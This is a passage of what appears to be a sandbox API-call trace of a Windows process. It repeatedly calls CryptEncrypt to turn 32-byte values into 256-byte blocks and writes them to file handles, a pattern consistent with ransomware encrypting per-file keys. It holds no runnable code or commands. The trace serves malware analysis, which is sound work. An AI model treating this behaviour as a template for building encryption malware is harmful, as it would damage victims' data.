WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.576] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.576] CloseHandle (hObject=0x2aec) returned 1 [0225.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.720] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.721] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.721] CloseHandle (hObject=0x2aec) returned 1 [0225.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.726] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.726] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.726] CloseHandle (hObject=0x2aec) returned 1 [0225.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.735] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.735] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.735] CloseHandle (hObject=0x2aec) returned 1 [0225.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.738] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.739] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.739] CloseHandle (hObject=0x2aec) returned 1 [0225.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.742] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.742] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.742] CloseHandle (hObject=0x2aec) returned 1 [0225.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.745] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.745] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.745] CloseHandle (hObject=0x2aec) returned 1 [0225.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.748] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.748] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.749] CloseHandle (hObject=0x2aec) returned 1 [0225.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.756] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.756] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.756] CloseHandle (hObject=0x2aec) returned 1 [0225.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.759] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.759] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.759] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.759] CloseHandle (hObject=0x2aec) returned 1 [0225.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.762] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.762] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.762] CloseHandle (hObject=0x2aec) returned 1 [0225.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.765] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.765] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.765] CloseHandle (hObject=0x2aec) returned 1 [0225.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.780] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.780] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.780] CloseHandle (hObject=0x2aec) returned 1 [0225.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.787] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.787] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.788] CloseHandle (hObject=0x2aec) returned 1 [0225.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.802] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.802] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.802] CloseHandle (hObject=0x2aec) returned 1 [0225.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.810] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.810] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.811] CloseHandle (hObject=0x2aec) returned 1 [0225.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.814] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.814] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.814] CloseHandle (hObject=0x2aec) returned 1 [0225.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.820] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.820] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.821] CloseHandle (hObject=0x2aec) returned 1 [0225.823] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.823] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.823] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.824] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.824] CloseHandle (hObject=0x2aec) returned 1 [0225.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.826] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.826] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.827] CloseHandle (hObject=0x2aec) returned 1 [0225.846] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.846] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.846] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.847] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.847] CloseHandle (hObject=0x2aec) returned 1 [0225.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.861] CloseHandle (hObject=0x2aec) returned 1 [0225.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.863] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.864] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.864] CloseHandle (hObject=0x2aec) returned 1 [0225.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.867] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.867] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.868] CloseHandle (hObject=0x2aec) returned 1 [0225.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.870] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.871] WriteFile (in: 